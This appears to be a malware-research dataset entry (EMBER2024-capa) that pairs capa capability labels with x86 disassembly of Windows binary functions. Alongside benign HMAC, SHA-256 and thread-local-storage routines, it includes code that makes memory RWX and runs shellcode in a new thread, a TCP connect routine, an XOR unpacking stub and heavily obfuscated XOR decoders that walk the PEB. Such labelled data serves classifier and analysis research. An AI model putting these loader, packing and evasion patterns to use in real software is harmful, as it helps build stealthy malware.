joyce8/EMBER2024-capa huggingface dataset:
Function at 0xe5f15e
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
test edi, edi
je 0xe5f258
cmp dword [esp + 0x14], 0
mov esi, dword [esp + 0x18]
jne 0xe5f17f
test esi, esi
jne 0xe5f258
cmp edx, 3
je 0xe5f1b5
cmp edx, 4
je 0xe5f1b5
cmp edx, 5
je 0xe5f1b5
cmp edx, 6
je 0xe5f1b5
cmp edx, 7
je 0xe5f1b5
cmp edx, 8
je 0xe5f1b5
cmp edx, 0xa
je 0xe5f1b5
cmp edx, 0xb
je 0xe5f1b5
cmp edx, 0xc
je 0xe5f1b5
cmp edx, 0xd
jne 0xe5f258
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.00e5f141
mov ebp, eax
pop ecx
test ebp, ebp
jne 0xe5f25d
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0xe5f258
cmp esi, 0x40
ja 0xe5f1fb
cmp dword [esp + 0x14], ebx
je 0xe5f224
push esi
push dword [esp + 0x18]
push ecx
call fcn.00e66910
add esp, 0xc
jmp 0xe5f221
mov edx, dword [esp + 0x14]
mov ecx, edi
push esi
call fcn.00e64040
mov ebp, eax
pop ecx
test ebp, ebp
jne 0xe5f254
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.00e6411b
mov ebp, eax
test ebp, ebp
jne 0xe5f254
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0xe5f23c
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.00e66e90
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0xe5f23c
mov eax, ebp
jmp 0xe5f25d
mov eax, 0xffffff53
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0xe630dc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
xor ebx, ebx
xor esi, esi
push edi
inc ebx
inc esi
cmp dword [esp + 0xe8], 0
mov edi, ecx
push 0
cmovne ebx, dword [esp + 0xec]
mov ebp, edx
pop ecx
test bl, 0x1f
mov eax, ebx
push 0x37
push dword [esp + 0xf0]
setne cl
shr eax, 5
add eax, ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
call fcn.00e66910
and dword [esp + 0x20], 0
add esp, 0xc
cmp dword [esp + 0x10], 0
jbe 0xe6321a
lea ecx, [esp + 0x74]
call fcn.00e6415a
mov esi, eax
test esi, esi
jne 0xe6321a
push 0x37
lea edx, [esp + 0x40]
lea ecx, [esp + 0x78]
call fcn.00e64040
mov esi, eax
pop ecx
test esi, esi
jne 0xe6321a
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x74]
call fcn.00e6411b
mov esi, eax
test esi, esi
jne 0xe6321a
push 4
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00e66910
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [edi], 1
jbe 0xe631c5
cmp eax, dword [edi + 4]
jne 0xe631c5
cmp byte [edi + 0x76], 1
je 0xe63238
mov edx, dword [esp + 0x10]
mov byte [edi + 0x76], 1
lea eax, [edx - 1]
cmp dword [esp + 0x14], eax
lea ecx, [edx + 1]
cmovne ecx, edx
mov dword [esp + 0x10], ecx
jmp 0xe631cc
mov byte [edi + 0x76], 0
mov dword [edi + 4], eax
test ebp, ebp
je 0xe63207
test ebx, ebx
je 0xe63207
lea eax, [esp + 0x1c]
cmp ebx, 0x20
jb 0xe631fa
push 0x20
push eax
push ebp
call fcn.00e66910
add esp, 0xc
lea ecx, [esp + 0x3c]
sub ebx, 0x20
add ebp, 0x20
call fcn.00e630cd
jmp 0xe63207
push ebx
push eax
push ebp
call fcn.00e66910
add esp, 0xc
xor ebx, ebx
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, dword [esp + 0x10]
jl 0xe6313a
push 0x37
pop edx
lea ecx, [esp + 0x3c]
call fcn.00e4d68e
xor eax, eax
test esi, esi
setne al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
push 3
pop eax
jmp 0xe6322d

Function at 0xe63934
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0xe638e0
mov eax, 0xffffff53
pop esi
ret
push edi
push 0x20
xor edi, edi
push edi
push esi
call fcn.00e66e90
add esp, 0xc
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
xor eax, eax
mov dword [esi + 0x68], edi
mov dword [esi], 0x6a09e667
pop edi
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
ret
test ecx, ecx
jne 0xe6393e
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0xe638d2
Function at 0xe6405f
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
test ebx, ebx
jne 0xe6406d
mov eax, 0xffffff53
pop ebx
ret
mov eax, dword [ebx + 0x60]
push ebp
push esi
push edi
push 0x40
pop edi
lea ebp, [ebx + 0x20]
mov byte [eax + ebp], 0x80
inc dword [ebx + 0x60]
mov ecx, dword [ebx + 0x60]
push 0x38
pop esi
cmp ecx, esi
jbe 0xe640ba
mov eax, edi
sub eax, ecx
push eax
lea eax, [ecx + ebp]
push 0
push eax
call fcn.00e66e90
push edi
mov edx, ebp
mov dword [ebx + 0x60], edi
mov ecx, ebp
call fcn.00e638a8
add esp, 0x10
mov edx, ebp
mov ecx, ebx
call fcn.00e63946
test eax, eax
jne 0xe64116
and dword [ebx + 0x60], eax
mov eax, dword [ebx + 0x60]
sub esi, eax
push esi
add eax, ebp
push 0
push eax
call fcn.00e66e90
lea edi, [ebx + 0x64]
mov edx, ebp
mov ecx, dword [edi]
lea esi, [ebx + 0x68]
mov eax, dword [esi]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, ebp
mov dword [esi], eax
mov eax, dword [edi]
shl eax, 3
mov dword [edi], eax
call fcn.00e638a8
push 4
lea eax, [ebp + 0x38]
push esi
push eax
call fcn.00e66910
push 4
lea eax, [ebp + 0x3c]
push edi
push eax
call fcn.00e66910
add esp, 0x28
mov edx, ebp
mov ecx, ebx
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.00e63946
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0xe6411b
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
je 0xe64152
test edi, edi
je 0xe64152
call fcn.00e6405f
test eax, eax
jne 0xe64157
push 0x20
mov edx, esi
mov ecx, esi
call fcn.00e638a8
push 0x20
push esi
push edi
call fcn.00e66910
add esp, 0x10
mov ecx, esi
pop edi
pop esi
jmp 0xe638d2
mov eax, 0xffffff53
pop edi
pop esi
ret

Function at 0xe6420a
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov eax, edx
mov ebp, ecx
neg eax
mov dword [esp + 8], eax
test ebp, ebp
je 0xe642a4
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0xe642a4
mov edx, dword [ebp]
mov ecx, ebx
inc edx
call fcn.00e5f8ed
mov dword [esp + 0xc], eax
test eax, eax
jne 0xe642a9
xor edx, edx
push esi
push edi
cmp dword [ebp], edx
jle 0xe6426a
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.00e641f4
mov ecx, ebx
mov esi, eax
call fcn.00e641f4
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebp]
jl 0xe64244
jmp 0xe6428f
mov ecx, dword [esp + 0x10]
jmp 0xe6428f
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.00e641f4
mov ecx, ebx
mov esi, eax
call fcn.00e641f4
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebx]
jl 0xe64270
mov eax, dword [ebp]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [esp + 0x14]
pop edi
pop esi
jmp 0xe642a9
mov eax, 0xffffff53
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0xe7c0e6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00e7bf65
Function at 0x401080
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4032d0
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401190
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
push 0x4da78
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4011ad
pop esi
pop ebx
pop ecx
ret
push edi
mov ecx, 0x1369e
add esi, 0x4da90
mov edi, ebx
push str.VirtualProtect
push str.KERNEL32.dll
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xc]
push ecx
push 0x40
push 0x4da78
push ebx
call eax
push 0
push 0
push ebx
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret

Function at 0x401220
Capabilities:
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push edi
push 6
push 1
mov edi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x401243
xor eax, eax
pop edi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push esi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov esi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [esi + 0xc]
push str.connect
mov ecx, dword [eax]
mov eax, dword [0x405418]
push eax
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [edi + 8]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x4012b3
mov eax, dword [edi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40124e
push 0
push 0
push edi
push 0x4012e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x10
ret 8
Function at 0x401790
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x4026cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
push 0x405318
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ax, word [0x405314]
mov cl, byte [0x405316]
push 0x9b508
mov word [esp + 0xc], ax
mov byte [esp + 0xe], cl
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0xc], eax
test eax, eax
mov dword [esp + 0x18], 0
je 0x4017f2
mov ecx, eax
call fcn.00401080
mov esi, eax
jmp 0x4017f4
xor esi, esi
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.00401200
test eax, eax
je 0x401815
lea edx, [esp + 8]
push 3
push edx
mov ecx, esi
call fcn.00401130
mov eax, dword [esi + 0x4da8c]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x401833
push 0x64
call edi
mov eax, dword [esi + 0x4da8c]
test eax, eax
je 0x401825
push 0xffffffffffffffff
call edi
mov ecx, dword [esp + 0x10]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x59e766a0
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x24865b11
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401080
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x10]
push ecx
push 0x41987c
call fcn.00401040
add esp, 8
mov dword [ebp - 0x64], 0x40
lea edx, [ebp - 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x100000
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call fcn.00413070
push edx
push eax
push 0x419888
call fcn.00401040
add esp, 0xc
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4017b0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4017ef
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4017ef
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4017ef
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4017ef
cmp dword [ecx + 0x74], 0xe
jbe 0x4017ef
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4077e6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155f8
push 0x4155f0
push str.FlsAlloc
push 0x1f
call fcn.004076a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40781a
push dword [ebp + 8]
mov ecx, esi
call dword [0x414118]
call esi
jmp 0x407820
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407864
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415608
push 0x415600
push str.FlsGetValue
push 0x21
call fcn.004076a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40789b
push dword [ebp + 8]
mov ecx, esi
call dword [0x414118]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4078a3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415610
push 0x415608
push str.FlsSetValue
push 0x22
call fcn.004076a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4078dd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414118]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40ae28
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40aec5
push ebx
push esi
call fcn.0040adf1
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040ad85
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40ae72
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aec4
push edi
push eax
call fcn.00407f95
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40ae92
call fcn.00407538
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aec3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040ad85
add esp, 0x20
test eax, eax
jne 0x40aeb1
push edi
call fcn.00407538
jmp 0x40aeb9
push ebx
call fcn.00407538
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x412f80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412fad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412fad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x100194a3
Capabilities:
Encode data using xor

Disassembly:
call 0x1001941c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1001944c
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x10019468
xor edx, 0
jmp 0x10019473
xor edx, edx
jmp 0x1001948a
jmp 0x10019496
xor eax, eax
push 0x8427d7c0
call 0x100194a3
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100194df
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100194b8
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100194f6
add eax, 0
jno 0x100194fb
add esi, 0
ret 0x10

Function at 0x1001a264
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1001a286
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1001a428
cmp edi, dword [ebp + 0x10]
jb 0x1001a428
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10019d50
inc edi
jmp 0x1001a30f
jmp 0x1001a31c
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10019d50
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10019d50
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1001a370
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1001a354
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1001a39e
add dword [eax], 0x39
jle 0x1001a37a
sub al, 0xf5
mov ch, al
call fcn.1001a3b3
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x1001c08b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1001c0a1
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1001c0b2
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1001c0f3
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1001e45f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1001e3a8
add ebx, 0
push ecx
call 0x1001e3bd
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c3b7073
sub ebx, dword [0x6c3d68b2]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c3d68a2
call fcn.10019e87
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.10019395
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1001e51b
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1001e51b
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1001e4d2
mov eax, 1
lock xchg dword [0x6c3d68ae], eax
push 0x3dd1fc71
call 0x1001e45f
push esi
add esp, 8
cmp eax, 0
jne 0x1001e448
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1001e46e
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1001e483
cmp ecx, edx
cmp eax, 0
je 0x1001e4a8
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1001e492
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1001e4c1
dec eax
loope 0x1001e4c4
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c3d68ae], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1001e4f8
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1001e50d
jmp 0x1001e518
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1001e406
Function at 0x10025580
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10025856
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c3c3526
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c3ba4ec
push 0xffffffffffffffff
call fcn.1001c780
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100255ea
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10025602
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1002584a
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1002581e